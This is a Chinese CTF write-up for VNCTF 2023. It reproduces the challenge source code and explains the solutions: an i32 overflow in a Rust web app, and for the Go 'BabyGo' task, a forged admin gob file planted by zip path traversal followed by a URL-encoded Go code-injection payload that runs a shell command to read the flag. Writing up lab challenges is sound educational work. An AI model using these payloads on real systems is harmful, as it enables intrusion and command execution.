2023_VNCTF_WP
概述
题目来源:buuctf平台举行的vnctf。这次VNCTF还是很好玩的,特别是BabyGo(我也只看了web和misc方式的题),刚好也是在最后的30分钟出了,要不然哭死。6点之前已经有思路要覆盖user.gob文件了,但是一直覆盖不到,后面再认认真真检查了好几遍才发现path理解错了。拿到这题源码时一直在发呆,一点激情都没有。发现自己打这种比赛永远抢不了一血,一是因为知识储配不过,题刷的不够多;二是因为拿到不熟悉的题就容易发呆。幸好今天还够幸运,解出了花费很长时间的题,要不然又是自闭的一天QAQ。因为能力当前就处于“这样”的阶段,所以做出的BabyGo我给了非常详细的解题过程。
Web
象棋王子
直接f12,然后发现特殊字符,ctrl+c -----------> 控制台 -----------> ctrl+v 回车后得到flag
电子木鱼
参考这篇文章:https://course.rs/basic/base-type/numbers.html
题目源码:
use actix_files::Files; use actix_web::{ error, get, post, web::{self, Json}, App, Error, HttpResponse, HttpServer, }; use once_cell::sync::Lazy; use serde::{Deserialize, Serialize}; use std::sync::{Arc, Mutex}; use tera::{Context, Tera}; static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0)); #[derive(Debug, Clone, Default)] struct ThreadLocker<T> { value: Arc<Mutex<T>>, } impl<T: Clone> ThreadLocker<T> { fn get(&self) -> T { let mutex = self.value.lock().unwrap(); mutex.clone() } fn set(&self, val: T) { let mut mutex = self.value.lock().unwrap(); *mutex = val; } fn from(val: T) -> ThreadLocker<T> { ThreadLocker::<T> { value: Arc::new(Mutex::new(val)), } } } #[derive(Serialize)] struct APIResult { success: bool, message: &'static str, } #[derive(Deserialize)] struct Info { name: String, quantity: i32, } #[derive(Debug, Copy, Clone, Serialize)] struct Payload { name: &'static str, cost: i32, } const PAYLOADS: &[Payload] = &[ Payload { name: "Cost", cost: 10, }, Payload { name: "Loan", cost: -1_000, }, Payload { name: "CCCCCost", cost: 500, }, Payload { name: "Donate", cost: 1, }, Payload { name: "Sleep", cost: 0, }, ]; #[get("/")] async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> { let mut context = Context::new(); context.insert("gongde", &GONGDE.get()); if GONGDE.get() > 1_000_000_000 { context.insert( "flag", &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()), ); } match tera.render("index.html", &context) { Ok(body) => Ok(HttpResponse::Ok().body(body)), Err(err) => Err(error::ErrorInternalServerError(err)), } } #[get("/reset")] async fn reset() -> Json<APIResult> { GONGDE.set(0); web::Json(APIResult { success: true, message: "重开成功,继续挑战佛祖吧", }) } #[post("/upgrade")] async fn upgrade(body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get() < 0 { return web::Json(APIResult { success: false, message: "功德都搞成负数了,佛祖对你很失望", }); } if body.quantity <= 0 { return web::Json(APIResult { success: false, message: "佛祖面前都敢作弊,真不怕遭报应啊", }); } if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) { let mut cost = payload.cost; if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; } if GONGDE.get() < cost as i32 { return web::Json(APIResult { success: false, message: "功德不足", }); } if cost != 0 { GONGDE.set(GONGDE.get() - cost as i32); } if payload.name == "Cost" { return web::Json(APIResult { success: true, message: "小扣一手功德", }); } else if payload.name == "CCCCCost" { return web::Json(APIResult { success: true, message: "功德都快扣没了,怎么睡得着的", }); } else if payload.name == "Loan" { return web::Json(APIResult { success: true, message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖", }); } else if payload.name == "Donate" { return web::Json(APIResult { success: true, message: "好人有好报", }); } else if payload.name == "Sleep" { return web::Json(APIResult { success: true, message: "这是什么?床,睡一下", }); } } web::Json(APIResult { success: false, message: "禁止开摆", }) } #[actix_web::main] async fn main() -> std::io::Result<()> { let port = std::env::var("PORT") .unwrap_or_else(|_| "2333".to_string()) .parse() .expect("Invalid PORT"); println!("Listening on 0.0.0.0:{}", port); HttpServer::new(move || { let tera = match Tera::new("src/templates/**/*.html") { Ok(t) => t, Err(e) => { println!("Error: {}", e); ::std::process::exit(1); } }; App::new() .app_data(web::Data::new(tera)) .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true)) .service(index) .service(upgrade) .service(reset) }) .bind(("0.0.0.0", port))? .run() .await }
审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算
结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag
BabyGo
题目源码:
package main import ( "encoding/gob" "fmt" "github.com/PaulXu-cn/goeval" "github.com/duke-git/lancet/cryptor" "github.com/duke-git/lancet/fileutil" "github.com/duke-git/lancet/random" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "net/http" "os" "path/filepath" "strings" ) type User struct { Name string Path string Power string } func main() { r := gin.Default() store := cookie.NewStore(random.RandBytes(16)) r.Use(sessions.Sessions("session", store)) r.LoadHTMLGlob("template/*") r.GET("/", func(c *gin.Context) { userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/" session := sessions.Default(c) session.Set("shallow", userDir) session.Save() fileutil.CreateDir(userDir) gobFile, _ := os.Create(userDir + "user.gob") user := User{Name: "ctfer", Path: userDir, Power: "low"} encoder := gob.NewEncoder(gobFile) encoder.Encode(user) if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") { c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir}) return } c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"}) }) r.GET("/upload", func(c *gin.Context) { c.HTML(200, "upload.html", gin.H{"message": "upload me!"}) }) r.POST("/upload", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" fileutil.CreateDir(userUploadDir) file, err := c.FormFile("file") if err != nil { c.HTML(500, "upload.html", gin.H{"message": "no file upload"}) return } ext := file.Filename[strings.LastIndex(file.Filename, "."):] if ext == ".gob" || ext == ".go" { c.HTML(500, "upload.html", gin.H{"message": "Hacker!"}) return } filename := userUploadDir + file.Filename if fileutil.IsExist(filename) { fileutil.RemoveFile(filename) } err = c.SaveUploadedFile(file, filename) if err != nil { c.HTML(500, "upload.html", gin.H{"message": "failed to save file"}) return } c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename}) }) r.GET("/unzip", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" files, _ := fileutil.ListFileNames(userUploadDir) destPath := filepath.Clean(userUploadDir + c.Query("path")) for _, file := range files { if fileutil.MiMeType(userUploadDir+file) == "application/zip" { err := fileutil.UnZip(userUploadDir+file, destPath) if err != nil { c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"}) return } fileutil.RemoveFile(userUploadDir + file) } } c.HTML(200, "zip.html", gin.H{"message": "success unzip"}) }) r.GET("/backdoor", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userDir := session.Get("shallow").(string) if fileutil.IsExist(userDir + "user.gob") { file, _ := os.Open(userDir + "user.gob") decoder := gob.NewDecoder(file) var ctfer User decoder.Decode(&ctfer) if ctfer.Power == "admin" { eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) if err != nil { fmt.Println(err) } c.HTML(200, "backdoor.html", gin.H{"message": string(eval)}) return } else { c.HTML(200, "backdoor.html", gin.H{"message": "low power"}) return } } else { c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"}) return } }) r.Run(":80") }
.gob
和.go
文件.zip
文件进行解压,关键点在下图所示.zip
文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越这里打开一个user.go
的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html
//user.go package main import ( "encoding/gob" "fmt" "os" ) type User struct { Name string Path string Power string } func main(){ userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/" //自己docker起后的路径 user := User{Name: "ctfer", Path: userDir, Power: "admin"} file, err := os.Create("./user.gob") if err != nil { fmt.Println("文件创建失败", err.Error()) return } defer file.Close() encoder := gob.NewEncoder(file) err = encoder.Encode(user) if err != nil { fmt.Println("编码错误", err.Error()) return } else { fmt.Println("编码成功") } }
/unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/
3. 访问/backdoor,返回Good则上述步骤成功
4. 在/backdoor下,使用下面payload:
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
payload的构造参考上述给的链接
5. 得到返回结果:
6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}
Misc
验证码
得到flag:flag{MISC_COOL!!}